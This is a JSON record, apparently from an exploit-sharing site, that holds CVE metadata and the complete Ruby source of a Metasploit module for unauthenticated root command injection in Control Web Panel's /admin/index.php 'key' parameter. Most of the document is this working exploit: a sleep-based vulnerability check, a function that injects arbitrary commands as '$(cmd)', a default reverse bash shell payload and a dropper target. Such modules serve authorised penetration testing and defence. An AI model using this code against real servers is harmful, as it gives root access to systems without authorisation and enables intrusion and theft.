{"exploit":{"id":"MSF-linux--http--control_web_panel_api_cmd_exec","name":"Control Web Panel /admin/index.php Unauthenticated RCE","description":"Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to unauthenticated OS command injection. User input passed via the \"key\" GET parameter to /admin/index.php (when the \"api\" parameter is set) is not properly sanitized before being used to execute OS commands. This can be exploited by unauthenticated attackers to inject and execute arbitrary OS commands with the privileges of the root user on the web server. Successful exploitation usually requires \"Softaculous\" and/or \"SitePad\" to be installed through the Scripts Manager.","cves":["CVE-2025-67888"],"author":"Lukas Johannes Möller, Egidio Romano","published":"2025-12-16","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/ab00b9e7e08b1fdc68bdba12de6db2aa4436815e/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb","path":"modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb","revision":"ab00b9e7e08b1fdc68bdba12de6db2aa4436815e","filename":"control_web_panel_api_cmd_exec.rb","vulnerabilities":[{"id":"CVE-2025-67888","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in Control Web Panel (CWP) before 0.9.8.1209. User input passed via the \"key\" GET parameter to /admin/index.php (when the \"api\" parameter is set) is not properly sanitized before being used to execute OS commands. This can be exploited by unauthenticated attackers to inject and execute arbitrary OS commands with the privileges of root on the web server. Softaculous or SitePad must be present.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-67888","cvss":{"version":"3.1","baseScore":7.3,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-67888"},"updatedAt":"2026-05-08T14:13:43.786Z","retrievedAt":"2026-11-26T16:51:52.543Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--control_web_panel_api_cmd_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--control_web_panel_api_cmd_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--control_web_panel_api_cmd_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--control_web_panel_api_cmd_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE',\n        'Description' => %q{\n          Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to\n          unauthenticated OS command injection. User input passed via the\n          \"key\" GET parameter to /admin/index.php (when the \"api\" parameter is set)\n          is not properly sanitized before being used to execute OS commands.\n          This can be exploited by unauthenticated attackers to inject and execute\n          arbitrary OS commands with the privileges of the root user on the web server.\n\n          Successful exploitation usually requires \"Softaculous\" and/or \"SitePad\"\n          to be installed through the Scripts Manager.\n        },\n        'Author' => [\n          'Lukas Johannes Möller', # Metasploit module\n          'Egidio Romano' # Vulnerability discovery\n        ],\n        'References' => [\n          ['CVE', '2025-67888'],\n          ['URL', 'https://karmainsecurity.com/KIS-2025-09'],\n          ['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'],\n          ['URL', 'https://control-webpanel.com']\n        ],\n        'DisclosureDate' => '2025-12-16',\n        'License' => MSF_LICENSE,\n        'Platform' => ['linux', 'unix'],\n        'Arch' => ARCH_ALL,\n        'Privileged' => true,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_ALL,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/unix/reverse_bash'\n              },\n              'Payload' => {\n                'Encoder' => 'cmd/base64',\n                'BadChars' => \"\\x00\\x20\"\n              }\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_ALL\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'SSL' => true\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(2031)\n    ])\n  end\n\n  def check\n    sleep_time = rand(5..10)\n\n    print_status(\"Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...\")\n\n    res, elapsed_time = Rex::Stopwatch.elapsed_time do\n      send_request_cgi(\n        'method' => 'GET',\n        'uri' => normalize_uri('/admin/index.php'),\n        'vars_get' => {\n          'api' => '1',\n          'key' => \"$(sleep #{sleep_time})\"\n        }\n      )\n    end\n\n    vprint_status(\"Elapsed time: #{elapsed_time.round(2)} seconds\")\n\n    return CheckCode::Unknown('No response from server.') unless res\n    return CheckCode::Vulnerable(\"Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).\") if elapsed_time >= sleep_time\n\n    CheckCode::Safe(\"Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).\")\n  end\n\n  def exploit\n    print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n    case target['Type']\n    when :unix_cmd\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager\n    end\n  end\n\n  def execute_command(cmd, _opts = {})\n    vprint_status(\"Executing command: #{cmd}\")\n\n    send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri('/admin/index.php'),\n      'vars_get' => {\n        'api' => '1',\n        'key' => \"$(#{cmd})\"\n      }\n    )\n  end\nend\n","sha256":"08995d4efd344bf28f1cdd533ccc46a2ff20de594dc06355beb63c16a3ec7be6","bytes":3933,"fetchedAt":"2026-11-27T02:11:27.367Z","encoding":"utf-8 (display only; download retains original bytes)"}